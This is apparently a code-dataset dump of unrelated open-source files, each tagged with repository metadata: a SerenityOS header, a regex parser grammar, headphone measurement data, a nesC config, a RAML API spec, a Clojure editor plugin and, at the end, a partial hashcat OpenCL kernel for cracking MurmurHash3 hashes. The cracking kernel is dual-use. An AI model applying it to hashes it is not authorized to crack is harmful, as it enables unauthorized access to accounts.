Vector<CalendarRangePattern> (*get_calendar_range12_formats)(StringView, StringView, StringView) { nullptr };
Optional<StringView> (*get_calendar_era_symbol)(StringView, StringView, CalendarPatternStyle, Era) { nullptr };
Optional<StringView> (*get_calendar_month_symbol)(StringView, StringView, CalendarPatternStyle, Month) { nullptr };
Optional<StringView> (*get_calendar_weekday_symbol)(StringView, StringView, CalendarPatternStyle, Weekday) { nullptr };
Optional<StringView> (*get_calendar_day_period_symbol)(StringView, StringView, CalendarPatternStyle, DayPeriod) { nullptr };
Optional<StringView> (*get_calendar_day_period_symbol_for_hour)(StringView, StringView, CalendarPatternStyle, u8) { nullptr };
Optional<StringView> (*get_time_zone_name)(StringView, StringView, CalendarPatternStyle) { nullptr };
private:
Symbols() = default;
};
}
| C | 3 | HerrSpace/serenity | Userland/Libraries/LibUnicode/UnicodeSymbols.h | [
"BSD-2-Clause"
] |
%{
/* (c) Copyright 2003-2004 by Sergei Olonichev */
#include "FAConfig.h"
#include "FARegexpParser_msyacc.h"
#include "FARegexpTree.h"
#include "FAToken.h"
%}
%union{
int node_id;
const FAToken* value;
}
/* terminals description
!!! BEWARE !!!
These values must be synced with FARegexpTree::TYPE_ values */
%token <value> FA_SYMBOL 257
%token <value> FA_ANY 258
%token <value> FA_LBR 259
%token <value> FA_RBR 260
%token <value> FA_CONCAT 261
%token <value> FA_DISJUNCTION 262
%token <value> FA_ITERATION 263
%token <value> FA_NON_EMPTY_ITERATION 264
%token <value> FA_OPTIONAL 265
%token <value> FA_BOUND_LBR 266
%token <value> FA_COMMA 267
%token <value> FA_BOUND_RBR 268
%token <value> FA_EPSILON 269
%token <value> FA_INTERVAL_LBR 270
%token <value> FA_INTERVAL_RBR 271
%token <value> FA_L_ANCHOR 272
%token <value> FA_R_ANCHOR 273
%token <value> FA_LTRBR 274
%token <value> FA_RTRBR 275
/* non-terminals description */
%type <node_id> regexp disj conc re
/* grammar section */
%%
regexp:
disj {
assert (m_pTree);
m_parse_failed = false;
m_pTree->SetRoot ($1);
m_pTree->SetParent ($1, -1);
}
;
disj:
conc {
$$ = $1;
}
|
disj FA_DISJUNCTION conc {
assert ($2);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($2->GetType (), $2->GetOffset (), $2->GetLength ());
/* adjust links */
m_pTree->SetLeft ($$, $1);
m_pTree->SetParent ($1, $$);
m_pTree->SetRight ($$, $3);
m_pTree->SetParent ($3, $$);
}
;
conc:
re {
$$ = $1;
}
|
conc re {
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode (FARegexpTree::TYPE_CONCAT, -1, 0);
/* adjust links */
m_pTree->SetLeft ($$, $1);
m_pTree->SetParent ($1, $$);
m_pTree->SetRight ($$, $2);
m_pTree->SetParent ($2, $$);
}
;
re:
FA_SYMBOL {
assert ($1);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($1->GetType (), $1->GetOffset (), $1->GetLength ());
}
|
FA_L_ANCHOR {
assert ($1);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($1->GetType (), $1->GetOffset (), $1->GetLength ());
}
|
FA_R_ANCHOR {
assert ($1);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($1->GetType (), $1->GetOffset (), $1->GetLength ());
}
|
FA_ANY {
assert ($1);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($1->GetType (), $1->GetOffset (), $1->GetLength ());
}
|
FA_LBR disj FA_RBR {
$$ = $2;
}
|
FA_LTRBR disj FA_RTRBR {
assert (m_pRegexp);
const int Offset = $1->GetOffset ();
const int Length = $1->GetLength ();
assert (0 <= Offset);
assert (Offset + Length + 1 <= m_RegexpLen);
if (0 < Length) {
const int TrBr = atoi (m_pRegexp + Offset + 1);
m_pTree->SetTrBr ($2, TrBr);
} else {
m_pTree->SetTrBr ($2, 0);
}
m_pTree->SetTrBrOffset ($2, Offset);
$$ = $2;
}
|
re FA_ITERATION {
assert ($2);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($2->GetType (), $2->GetOffset (), $2->GetLength ());
/* adjust links */
m_pTree->SetLeft ($$, $1);
m_pTree->SetParent ($1, $$);
}
|
re FA_NON_EMPTY_ITERATION {
assert ($2);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($2->GetType (), $2->GetOffset (), $2->GetLength ());
/* adjust links */
m_pTree->SetLeft ($$, $1);
m_pTree->SetParent ($1, $$);
}
|
re FA_OPTIONAL {
/* newly added */
assert ($2);
assert (m_pTree);
/* create a new node */
$$ = m_pTree->AddNode ($2->GetType (), $2->GetOffset (), $2->GetLength ());
/* adjust links */
m_pTree->SetLeft ($$, $1);
m_pTree->SetParent ($1, $$);
}
;
%%
/**************************** service methods ********************************/
void YYPARSER::yyerror (const char * /*szMsg*/)
{
m_parse_failed = true;
}
int YYPARSER::yylex ()
{
assert (m_pTokens);
/* if there are no more tokens for processing, finish parsing */
if (m_token_count <= m_token_pos) {
m_token_pos = 0;
return 0;
}
/* get token id and semantic value */
const FAToken * pToken = & m_pTokens [m_token_pos];
assert (pToken);
m_token_pos++;
yylval.value = pToken;
const int Id = pToken->GetType ();
return Id;
}
/**************************** public methods *********************************/
YYPARSER::YYPARSER ()
{
m_pTree = NULL;
m_pTokens = NULL;
m_token_count = -1;
m_token_pos = 0;
m_parse_failed = false;
m_pRegexp = NULL;
m_RegexpLen = 0;
}
YYPARSER::~YYPARSER ()
{
Clear ();
}
void YYPARSER::SetTokens (const FAToken * pTokens, const int TokensCount)
{
m_pTokens = pTokens;
m_token_count = TokensCount;
}
void YYPARSER::SetRegexp (const char * pRegexp, const int RegexpLen)
{
m_pRegexp = pRegexp;
m_RegexpLen = RegexpLen;
}
void YYPARSER::SetTree (FARegexpTree * pTree)
{
m_pTree = pTree;
}
const bool YYPARSER::GetStatus () const
{
return m_parse_failed;
}
const int YYPARSER::GetTokenIdx () const
{
return m_token_pos;
}
void YYPARSER::Clear ()
{
m_token_pos = 0;
m_parse_failed = false;
ResetState ();
}
void YYPARSER::Process ()
{
assert (m_pTree);
assert (m_pTokens);
assert (0 <= m_token_count);
Clear ();
m_pTree->Clear ();
m_parse_failed = true;
Parse();
}
| Yacc | 5 | palerdot/BlingFire | blingfirecompile.library/src/FARegexpParser_msyacc.y | [
"MIT"
] |
frequency,raw
20.00,-1.55
20.20,-1.54
20.40,-1.49
20.61,-1.46
20.81,-1.43
21.02,-1.38
21.23,-1.36
21.44,-1.31
21.66,-1.28
21.87,-1.26
22.09,-1.22
22.31,-1.18
22.54,-1.15
22.76,-1.10
22.99,-1.05
23.22,-1.01
23.45,-0.96
23.69,-0.93
23.92,-0.87
24.16,-0.84
24.40,-0.80
24.65,-0.76
24.89,-0.73
25.14,-0.70
25.39,-0.66
25.65,-0.63
25.91,-0.61
26.16,-0.57
26.43,-0.56
26.69,-0.52
26.96,-0.50
27.23,-0.47
27.50,-0.46
27.77,-0.42
28.05,-0.42
28.33,-0.38
28.62,-0.36
28.90,-0.33
29.19,-0.32
29.48,-0.29
29.78,-0.26
30.08,-0.24
30.38,-0.20
30.68,-0.19
30.99,-0.15
31.30,-0.15
31.61,-0.10
31.93,-0.10
32.24,-0.06
32.57,-0.05
32.89,-0.05
33.22,-0.01
33.55,-0.01
33.89,-0.01
34.23,0.04
34.57,0.04
34.92,0.04
35.27,0.09
35.62,0.09
35.97,0.10
36.33,0.13
36.70,0.14
37.06,0.18
37.43,0.22
37.81,0.25
38.19,0.30
38.57,0.34
38.95,0.40
39.34,0.46
39.74,0.52
40.14,0.58
40.54,0.65
40.94,0.69
41.35,0.74
41.76,0.77
42.18,0.83
42.60,0.83
43.03,0.84
43.46,0.84
43.90,0.83
44.33,0.83
44.78,0.79
45.23,0.76
45.68,0.73
46.13,0.70
46.60,0.66
47.06,0.65
47.53,0.61
48.01,0.60
48.49,0.60
48.97,0.60
49.46,0.60
49.96,0.65
50.46,0.65
50.96,0.69
51.47,0.69
51.99,0.74
52.51,0.74
53.03,0.79
53.56,0.83
54.10,0.83
54.64,0.87
55.18,0.88
55.74,0.93
56.29,0.94
56.86,0.97
57.42,1.00
58.00,1.02
58.58,1.06
59.16,1.09
59.76,1.13
60.35,1.16
60.96,1.19
61.57,1.24
62.18,1.27
62.80,1.33
63.43,1.40
64.07,1.46
64.71,1.54
65.35,1.61
66.01,1.67
66.67,1.77
67.33,1.84
68.01,1.90
68.69,2.00
69.37,2.07
70.07,2.13
70.77,2.22
71.48,2.29
72.19,2.35
72.91,2.42
73.64,2.48
74.38,2.53
75.12,2.59
75.87,2.64
76.63,2.69
77.40,2.72
78.17,2.78
78.95,2.81
79.74,2.86
80.54,2.90
81.35,2.95
82.16,2.98
82.98,3.04
83.81,3.07
84.65,3.12
85.50,3.15
86.35,3.21
87.22,3.24
88.09,3.29
88.97,3.32
89.86,3.38
90.76,3.42
91.66,3.46
92.58,3.49
93.51,3.53
94.44,3.58
95.39,3.61
96.34,3.64
97.30,3.67
98.28,3.70
99.26,3.72
100.25,3.77
101.25,3.77
102.27,3.81
103.29,3.81
104.32,3.86
105.37,3.86
106.42,3.90
107.48,3.90
108.56,3.95
109.64,3.95
110.74,3.98
111.85,4.00
112.97,4.00
114.10,4.04
115.24,4.04
116.39,4.09
117.55,4.09
118.73,4.12
119.92,4.14
121.12,4.14
122.33,4.18
123.55,4.18
124.79,4.18
126.03,4.20
127.29,4.23
128.57,4.23
129.85,4.23
131.15,4.23
132.46,4.23
133.79,4.23
135.12,4.23
136.48,4.22
137.84,4.19
139.22,4.18
140.61,4.18
142.02,4.18
143.44,4.14
144.87,4.14
146.32,4.10
147.78,4.09
149.26,4.06
150.75,4.04
152.26,4.00
153.78,3.96
155.32,3.93
156.88,3.90
158.44,3.86
160.03,3.82
161.63,3.79
163.24,3.73
164.88,3.70
166.53,3.65
168.19,3.59
169.87,3.54
171.57,3.46
173.29,3.42
175.02,3.37
176.77,3.32
178.54,3.25
180.32,3.19
182.13,3.13
183.95,3.08
185.79,3.01
187.65,2.95
189.52,2.90
191.42,2.84
193.33,2.76
195.27,2.71
197.22,2.63
199.19,2.57
201.18,2.50
203.19,2.42
205.23,2.34
207.28,2.25
209.35,2.19
211.44,2.08
213.56,2.02
215.69,1.91
217.85,1.85
220.03,1.75
222.23,1.68
224.45,1.58
226.70,1.51
228.96,1.42
231.25,1.34
233.57,1.27
235.90,1.19
238.26,1.11
240.64,1.04
243.05,0.97
245.48,0.89
247.93,0.81
250.41,0.74
252.92,0.66
255.45,0.59
258.00,0.51
260.58,0.43
263.19,0.35
265.82,0.28
268.48,0.22
271.16,0.14
273.87,0.07
276.61,0.01
279.38,-0.06
282.17,-0.12
284.99,-0.18
287.84,-0.24
290.72,-0.28
293.63,-0.34
296.57,-0.38
299.53,-0.42
302.53,-0.47
305.55,-0.51
308.61,-0.54
311.69,-0.57
314.81,-0.61
317.96,-0.66
321.14,-0.69
324.35,-0.72
327.59,-0.75
330.87,-0.80
334.18,-0.83
337.52,-0.87
340.90,-0.92
344.30,-0.97
347.75,-1.01
351.23,-1.07
354.74,-1.11
358.28,-1.17
361.87,-1.22
365.49,-1.25
369.14,-1.31
372.83,-1.34
376.56,-1.39
380.33,-1.43
384.13,-1.46
387.97,-1.50
391.85,-1.54
395.77,-1.55
399.73,-1.59
403.72,-1.61
407.76,-1.64
411.84,-1.65
415.96,-1.68
420.12,-1.68
424.32,-1.68
428.56,-1.68
432.85,-1.68
437.18,-1.68
441.55,-1.64
445.96,-1.64
450.42,-1.60
454.93,-1.57
459.48,-1.52
464.07,-1.48
468.71,-1.43
473.40,-1.38
478.13,-1.33
482.91,-1.29
487.74,-1.24
492.62,-1.20
497.55,-1.15
502.52,-1.10
507.55,-1.05
512.62,-1.00
517.75,-0.94
522.93,-0.88
528.16,-0.84
533.44,-0.79
538.77,-0.73
544.16,-0.68
549.60,-0.65
555.10,-0.59
560.65,-0.56
566.25,-0.53
571.92,-0.48
577.64,-0.45
583.41,-0.39
589.25,-0.35
595.14,-0.31
601.09,-0.28
607.10,-0.24
613.17,-0.19
619.30,-0.16
625.50,-0.13
631.75,-0.10
638.07,-0.05
644.45,-0.03
650.89,-0.01
657.40,0.03
663.98,0.04
670.62,0.07
677.32,0.09
684.10,0.09
690.94,0.13
697.85,0.13
704.83,0.18
711.87,0.18
718.99,0.23
726.18,0.25
733.44,0.28
740.78,0.32
748.19,0.34
755.67,0.37
763.23,0.41
770.86,0.45
778.57,0.46
786.35,0.51
794.22,0.55
802.16,0.58
810.18,0.60
818.28,0.64
826.46,0.65
834.73,0.67
843.08,0.69
851.51,0.69
860.02,0.69
868.62,0.69
877.31,0.69
886.08,0.69
894.94,0.65
903.89,0.64
912.93,0.60
922.06,0.56
931.28,0.53
940.59,0.48
950.00,0.44
959.50,0.36
969.09,0.28
978.78,0.19
988.57,0.10
998.46,0.02
1008.44,-0.09
1018.53,-0.17
1028.71,-0.26
1039.00,-0.35
1049.39,-0.41
1059.88,-0.47
1070.48,-0.53
1081.19,-0.59
1092.00,-0.63
1102.92,-0.68
1113.95,-0.74
1125.09,-0.79
1136.34,-0.84
1147.70,-0.87
1159.18,-0.93
1170.77,-0.96
1182.48,-1.01
1194.30,-1.04
1206.25,-1.07
1218.31,-1.11
1230.49,-1.14
1242.80,-1.17
1255.22,-1.20
1267.78,-1.22
1280.45,-1.22
1293.26,-1.26
1306.19,-1.26
1319.25,-1.26
1332.45,-1.26
1345.77,-1.26
1359.23,-1.26
1372.82,-1.26
1386.55,-1.22
1400.41,-1.22
1414.42,-1.17
1428.56,-1.17
1442.85,-1.12
1457.28,-1.12
1471.85,-1.09
1486.57,-1.08
1501.43,-1.03
1516.45,-1.03
1531.61,-1.03
1546.93,-1.00
1562.40,-0.98
1578.02,-0.98
1593.80,-0.98
1609.74,-1.03
1625.84,-1.03
1642.10,-1.04
1658.52,-1.08
1675.10,-1.10
1691.85,-1.16
1708.77,-1.23
1725.86,-1.29
1743.12,-1.34
1760.55,-1.40
1778.15,-1.38
1795.94,-1.30
1813.90,-1.19
1832.03,-1.06
1850.36,-0.88
1868.86,-0.67
1887.55,-0.47
1906.42,-0.26
1925.49,-0.08
1944.74,0.06
1964.19,0.24
1983.83,0.38
2003.67,0.51
2023.71,0.64
2043.94,0.77
2064.38,0.90
2085.03,1.01
2105.88,1.14
2126.94,1.25
2148.20,1.38
2169.69,1.51
2191.38,1.62
2213.30,1.76
2235.43,1.89
2257.78,2.00
2280.36,2.15
2303.17,2.29
2326.20,2.42
2349.46,2.57
2372.95,2.70
2396.68,2.81
2420.65,2.94
2444.86,3.02
2469.31,3.09
2494.00,3.15
2518.94,3.20
2544.13,3.21
2569.57,3.25
2595.27,3.25
2621.22,3.25
2647.43,3.30
2673.90,3.30
2700.64,3.30
2727.65,3.30
2754.93,3.30
2782.48,3.30
2810.30,3.30
2838.40,3.30
2866.79,3.30
2895.46,3.28
2924.41,3.25
2953.65,3.25
2983.19,3.21
3013.02,3.19
3043.15,3.16
3073.58,3.10
3104.32,3.06
3135.36,2.99
3166.72,2.91
3198.38,2.83
3230.37,2.74
3262.67,2.63
3295.30,2.54
3328.25,2.43
3361.53,2.34
3395.15,2.24
3429.10,2.16
3463.39,2.09
3498.03,2.03
3533.01,1.97
3568.34,1.88
3604.02,1.81
3640.06,1.71
3676.46,1.63
3713.22,1.52
3750.36,1.38
3787.86,1.25
3825.74,1.10
3864.00,0.94
3902.64,0.78
3941.66,0.61
3981.08,0.45
4020.89,0.27
4061.10,0.12
4101.71,-0.01
4142.73,-0.12
4184.15,-0.21
4226.00,-0.27
4268.26,-0.26
4310.94,-0.20
4354.05,-0.06
4397.59,0.12
4441.56,0.39
4485.98,0.70
4530.84,1.05
4576.15,1.46
4621.91,1.91
4668.13,2.35
4714.81,2.80
4761.96,3.27
4809.58,3.78
4857.67,4.29
4906.25,4.84
4955.31,5.41
5004.87,6.01
5054.91,6.61
5105.46,7.18
5156.52,7.72
5208.08,8.18
5260.16,8.59
5312.77,8.91
5365.89,9.13
5419.55,9.27
5473.75,9.28
5528.49,9.17
5583.77,8.93
5639.61,8.62
5696.00,8.14
5752.96,7.56
5810.49,6.90
5868.60,6.10
5927.28,5.29
5986.56,4.43
6046.42,3.60
6106.89,2.84
6167.96,2.14
6229.64,1.57
6291.93,1.10
6354.85,0.77
6418.40,0.59
6482.58,0.48
6547.41,0.55
6612.88,0.68
6679.01,0.84
6745.80,1.01
6813.26,1.18
6881.39,1.36
6950.21,1.53
7019.71,1.68
7089.91,1.83
7160.81,1.97
7232.41,2.16
7304.74,2.33
7377.79,2.53
7451.56,2.72
7526.08,2.88
7601.34,3.04
7677.35,3.15
7754.13,3.21
7831.67,3.12
7909.98,2.93
7989.08,2.63
8068.98,2.24
8149.67,1.72
8231.16,1.11
8313.47,0.40
8396.61,-0.36
8480.57,-1.14
8565.38,-1.90
8651.03,-2.63
8737.54,-3.32
8824.92,-3.91
8913.17,-4.47
9002.30,-4.96
9092.32,-5.40
9183.25,-5.87
9275.08,-6.32
9367.83,-6.82
9461.51,-7.30
9556.12,-7.75
9651.68,-8.17
9748.20,-8.56
9845.68,-8.86
9944.14,-9.11
10043.58,-9.30
10144.02,-9.48
10245.46,-9.62
10347.91,-9.77
10451.39,-9.79
10555.91,-9.67
10661.46,-9.47
10768.08,-9.20
10875.76,-8.85
10984.52,-8.38
11094.36,-7.87
11205.31,-7.31
11317.36,-6.73
11430.53,-6.19
11544.84,-5.68
11660.29,-5.19
11776.89,-4.76
11894.66,-4.40
12013.60,-4.14
12133.74,-4.00
12255.08,-3.99
12377.63,-4.14
12501.41,-4.40
12626.42,-4.81
12752.68,-5.32
12880.21,-5.97
13009.01,-6.63
13139.10,-7.32
13270.49,-7.97
13403.20,-8.54
13537.23,-9.11
13672.60,-9.65
13809.33,-10.22
13947.42,-11.00
14086.90,-12.00
14227.77,-12.91
14370.04,-14.07
14513.74,-15.10
14658.88,-15.90
14805.47,-16.48
14953.52,-16.89
15103.06,-16.99
15254.09,-16.65
15406.63,-16.26
15560.70,-15.62
15716.30,-15.04
15873.47,-14.45
16032.20,-13.83
16192.52,-13.23
16354.45,-12.68
16517.99,-12.18
16683.17,-11.74
16850.01,-11.41
17018.51,-11.18
17188.69,-11.28
17360.58,-11.61
17534.18,-12.12
17709.53,-12.79
17886.62,-13.61
18065.49,-14.51
18246.14,-15.48
18428.60,-16.39
18612.89,-17.23
18799.02,-17.92
18987.01,-18.49
19176.88,-18.93
19368.65,-19.25
19562.33,-19.51
19757.96,-19.73
19955.54,-19.84
| CSV | 0 | Whataplay/AutoEq | measurements/oratory1990/data/onear/ZMF Atticus/ZMF Atticus.csv | [
"MIT"
] |
configuration DipSummaryC {
provides interface DipDecision;
uses interface DipSend as SummarySend;
uses interface DipReceive as SummaryReceive;
uses interface DipHelp;
uses interface DipEstimates;
}
implementation {
components DipSummaryP;
DipDecision = DipSummaryP;
SummarySend = DipSummaryP;
SummaryReceive = DipSummaryP;
DipHelp = DipSummaryP;
DipEstimates = DipSummaryP;
components RandomC;
DipSummaryP.Random -> RandomC;
}
| nesC | 4 | mtaghiza/tinyos-main-1 | tos/lib/net/dip/DipSummaryC.nc | [
"BSD-3-Clause"
] |
#%RAML 1.0
title: Baeldung Foo REST Services API
version: v1
protocols: [ HTTPS ]
baseUri: http://rest-api.baeldung.com/api/{version}
mediaType: application/json
securedBy: basicAuth
securitySchemes:
- basicAuth:
description: Each request must contain the headers necessary for
basic authentication
type: Basic Authentication
describedBy:
headers:
Authorization:
description: |
Used to send the Base64 encoded "username:password"
credentials
type: string
responses:
401:
description: |
Unauthorized. Either the provided username and password
combination is invalid, or the user is not allowed to
access the content provided by the requested URL.
types:
Foo: !include types/Foo.raml
Bar: !include types/Bar.raml
Error: !include types/Error.raml
resourceTypes:
- collection:
usage: Use this resourceType to represent a collection of items
description: A collection of <<resourcePathName|!uppercamelcase>>
get:
description: |
Get all <<resourcePathName|!uppercamelcase>>,
optionally filtered
is: [ hasResponseCollection ]
post:
description: |
Create a new <<resourcePathName|!uppercamelcase|!singularize>>
is: [ hasRequestItem ]
- item:
usage: Use this resourceType to represent any single item
description: A single <<typeName>>
get:
description: Get a <<typeName>> by <<resourcePathName>>
is: [ hasResponseItem, hasNotFound ]
put:
description: Update a <<typeName>> by <<resourcePathName>>
is: [ hasRequestItem, hasResponseItem, hasNotFound ]
delete:
description: Delete a <<typeName>> by <<resourcePathName>>
is: [ hasNotFound ]
responses:
204:
traits:
- hasRequestItem:
body:
application/json:
type: <<typeName>>
- hasResponseItem:
responses:
200:
body:
application/json:
type: <<typeName>>
example: !include examples/<<typeName>>.json
- hasResponseCollection:
responses:
200:
body:
application/json:
type: <<typeName>>[]
example: !include examples/<<typeName|!pluralize>>.json
- hasNotFound:
responses:
404:
body:
application/json:
type: Error
example: !include examples/Error.json
/foos:
type: collection
typeName: Foo
get:
queryParameters:
name?: string
ownerName?: string
/{fooId}:
type: item
typeName: Foo
/name/{name}:
get:
description: List all foos with a certain name
typeName: Foo
is: [ hasResponseCollection ]
/bars:
type: collection
typeName: Bar
/{barId}:
type: item
typeName: Bar
/fooId/{fooId}:
get:
description: Get all bars for the matching fooId
typeName: Bar
is: [ hasResponseCollection ] | RAML | 5 | zeesh49/tutorials | raml/resource-types-and-traits/api.raml | [
"MIT"
] |
(ns lt.plugins.auto-paren
"Provide pair character e.g. () related commands"
(:require [lt.object :as object]
[lt.objs.command :as cmd]
[lt.objs.editor :as editor]
[lt.objs.editor.pool :as pool]
[lt.objs.context :as ctx]
[lt.objs.keyboard :as keyboard :refer [passthrough]])
(:require-macros [lt.macros :refer [behavior]]))
(def pairs {\( \)
\{ \}
\[ \]
\" \"
\< \>})
(def word-char #"[^\s\)\}\]\(\{\[]")
(defn adjust-loc [loc dir]
(update-in loc [:ch] + dir))
(defn get-char [ed dir]
(let [loc (editor/->cursor ed)]
(if (> dir 0)
(editor/range ed loc (adjust-loc loc dir))
(editor/range ed (adjust-loc loc dir) loc))))
(defn move-cursor [ed dir]
(let [loc (editor/->cursor ed)]
(editor/move-cursor ed (adjust-loc loc dir))))
(behavior ::open-pair
:triggers #{:open-pair!}
:reaction (fn [this ch]
(editor/operation this
(fn []
(let [current-selection (editor/selection this)]
(if-not (= current-selection "")
(editor/replace-selection this (str ch current-selection (pairs ch)) :around)
(if (re-seq word-char (get-char this 1))
(editor/insert-at-cursor this ch)
(do
(editor/insert-at-cursor this (str ch (pairs ch)))
(move-cursor this -1)))))))))
(behavior ::close-pair
:triggers #{:close-pair!}
:reaction (fn [this ch]
(if (= ch (get-char this 1))
(move-cursor this 1)
(passthrough))
))
(behavior ::repeat-pair
:triggers #{:repeat-pair!}
:reaction (fn [this ch]
(editor/operation this
(fn []
(let [current-selection (editor/selection this)]
(if-not (= current-selection "")
(editor/replace-selection this (str ch current-selection ch))
(cond
(= ch (get-char this 1)) (move-cursor this 1)
(re-seq word-char (get-char this 1)) (editor/insert-at-cursor this ch)
(re-seq word-char (get-char this -1)) (editor/insert-at-cursor this ch)
:else (do
(editor/insert-at-cursor this (str ch ch))
(move-cursor this -1)))))))))
(behavior ::try-remove-pair
:triggers #{:backspace!}
:reaction (fn [this]
(if-not (editor/selection? this)
(let [ch (get-char this -1)]
(if (and (pairs ch)
(= (get-char this 1) (pairs ch)))
(let [loc (editor/->cursor this)]
(editor/replace this (adjust-loc loc -1) (adjust-loc loc 1) "")
(keyboard/stop-commands!))
(passthrough)))
(passthrough))))
(cmd/command {:command :editor.close-pair
:hidden true
:desc "Editor: Close pair character"
:exec (fn [c]
(object/raise (ctx/->obj :editor.keys.normal) :close-pair! c))})
(cmd/command {:command :editor.open-pair
:hidden true
:desc "Editor: Open pair character"
:exec (fn [c]
(object/raise (ctx/->obj :editor.keys.normal) :open-pair! c))})
(cmd/command {:command :editor.repeat-pair
:hidden true
:desc "Editor: Repeat pair character"
:exec (fn [c]
(object/raise (ctx/->obj :editor.keys.normal) :repeat-pair! c))})
(cmd/command {:command :editor.backspace-pair
:hidden true
:desc "Editor: Pair aware backspace"
:exec (fn [c]
(object/raise (ctx/->obj :editor.keys.normal) :backspace! c))})
;; Treat spaces as tabs
(defn pre-cursor-indent [ed {:keys [line ch]}]
(let [tabs (editor/option ed :indentWithTabs)
unit (editor/option ed :indentUnit)
precursor (.substring (editor/line ed line) 0 ch)
whitespace (count (re-find (if tabs #"^\t*$" #"^ *$") precursor))]
[(quot whitespace unit) (mod whitespace unit)]))
(defn backspace-indent [ed]
(if-not (or (editor/selection? ed)
(> (.-length (.getSelections (editor/->cm-ed ed))) 1))
(let [cursor (editor/->cursor ed)
unit (editor/option ed :indentUnit)
[indent rem] (pre-cursor-indent ed cursor)
cursor (if (> rem 0) (adjust-loc (editor/->cursor ed) (- unit rem)) cursor)
[indent rem] (if (> rem 0) (pre-cursor-indent ed cursor) [indent rem])]
(if (and (> indent 0) (zero? rem))
(do
(editor/replace ed (adjust-loc cursor (- unit)) cursor "")
(keyboard/stop-commands!))
(passthrough)))
(passthrough)))
(cmd/command {:command :editor.backspace-indent
:hidden true
:desc "Editor: Indent aware backspace"
:exec #(backspace-indent (ctx/->obj :editor.keys.normal))})
| Clojure | 5 | sam-aldis/LightTable | src/lt/plugins/auto_paren.cljs | [
"MIT"
] |
/**
* Author......: See docs/credits.txt
* License.....: MIT
*/
#define NEW_SIMD_CODE
#ifdef KERNEL_STATIC
#include "inc_vendor.h"
#include "inc_types.h"
#include "inc_platform.cl"
#include "inc_common.cl"
#include "inc_simd.cl"
#endif
DECLSPEC u32x Murmur32_Scramble(u32x k)
{
k = (k * 0x16A88000) | ((k * 0xCC9E2D51) >> 17);
return (k * 0x1B873593);
}
DECLSPEC u32x MurmurHash3(const u32 seed, const u32x w0, const u32* data, const u32 size) {
u32x checksum = seed;
if (size >= 4)
{
checksum ^= Murmur32_Scramble(w0);
checksum = (checksum >> 19) | (checksum << 13); //rotateRight(checksum, 19)
checksum = (checksum * 5) + 0xE6546B64;
const u32 nBlocks = (size / 4);
if (size >= 4) //Hash blocks, sizes of 4
{
for (u32 i = 1; i < nBlocks; i++)
{
checksum ^= Murmur32_Scramble(data[i]);
checksum = (checksum >> 19) | (checksum << 13); //rotateRight(checksum, 19)
checksum = (checksum * 5) + 0xE6546B64;
}
}
if (size % 4)
{
const u8* remainder = (u8*)(data + nBlocks);
u32x val = 0;
switch(size & 3) //Hash remaining bytes as size isn't always aligned by 4
{
case 3:
val ^= (remainder[2] << 16);
case 2:
val ^= (remainder[1] << 8);
case 1:
val ^= remainder[0];
checksum ^= Murmur32_Scramble(val);
default:
break;
};
}
}
else
{
if (size % 4)
{
const u8* remainder = (u8*)(&w0);
u32x val = 0;
switch(size & 3)
{
case 3:
val ^= (remainder[2] << 16);
case 2:
val ^= (remainder[1] << 8);
case 1:
val ^= remainder[0];
checksum ^= Murmur32_Scramble(val);
default:
break;
};
}
}
checksum ^= size;
checksum ^= checksum >> 16;
checksum *= 0x85EBCA6B;
checksum ^= checksum >> 13;
checksum *= 0xC2B2AE35;
return checksum ^ (checksum >> 16);
}
DECLSPEC void m27800m (const u32 *w, const u32 pw_len, KERN_ATTR_VECTOR ())
{
/**
* modifier
*/
const u64 gid = get_global_id (0);
const u64 lid = get_local_id (0);
/**
* seed
*/
const u32 seed = salt_bufs[SALT_POS].salt_buf[0];
/**
* loop
*/
u32 w0l = w[0];
for (u32 il_pos = 0; il_pos < il_cnt; il_pos += VECT_SIZE)
{
const u32x w0r = words_buf_r[il_pos / VECT_SIZE];
const u32x w0 = w0l | w0r;
const u32x hash = MurmurHash3 (seed, w0, w, pw_len);
const u32x r0 = hash;
const u32x r1 = 0;
const u32x r2 = 0;
const u32x r3 = 0;
COMPARE_M_SIMD (r0, r1, r2, r3);
}
}
DECLSPEC void m27800s (const u32 *w, const u32 pw_len, KERN_ATTR_VECTOR ())
{
/**
* modifier
*/
const u64 gid = get_global_id (0);
const u64 lid = get_local_id (0);
/**
* digest
*/
const u32 search[4] =
{
digests_buf[DIGESTS_OFFSET].digest_buf[DGST_R0],
0,
0,
0
};
/**
* seed
*/
const u32 seed = salt_bufs[SALT_POS].salt_buf[0];
/**
* loop
*/
u32 w0l = w[0];
for (u32 il_pos = 0; il_pos < il_cnt; il_pos += VECT_SIZE)
{
const u32x w0r = words_buf_r[il_pos / VECT_SIZE];
const u32x w0 = w0l | w0r;
const u32x hash = MurmurHash3 (seed, w0, w, pw_len);
const u32x r0 = hash;
const u32x r1 = 0;
const u32x r2 = 0;
const u32x r3 = 0;
COMPARE_S_SIMD (r0, r1, r2, r3);
}
}
KERNEL_FQ void m27800_m04 (KERN_ATTR_VECTOR ())
{
/**
* base
*/
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
u32 w[16];
w[ 0] = pws[gid].i[ 0];
w[ 1] = pws[gid].i[ 1];
w[ 2] = pws[gid].i[ 2];
w[ 3] = pws[gid].i[ 3];
w[ 4] = 0;
w[ 5] = 0;
w[ 6] = 0;
w[ 7] = 0;
w[ 8] = 0;
w[ 9] = 0;
w[10] = 0;
w[11] = 0;
w[12] = 0;
w[13] = 0;
w[14] = pws[gid].i[14];
w[15] = 0;
const u32 pw_len = pws[gid].pw_len & 63;
/**
* main
*/
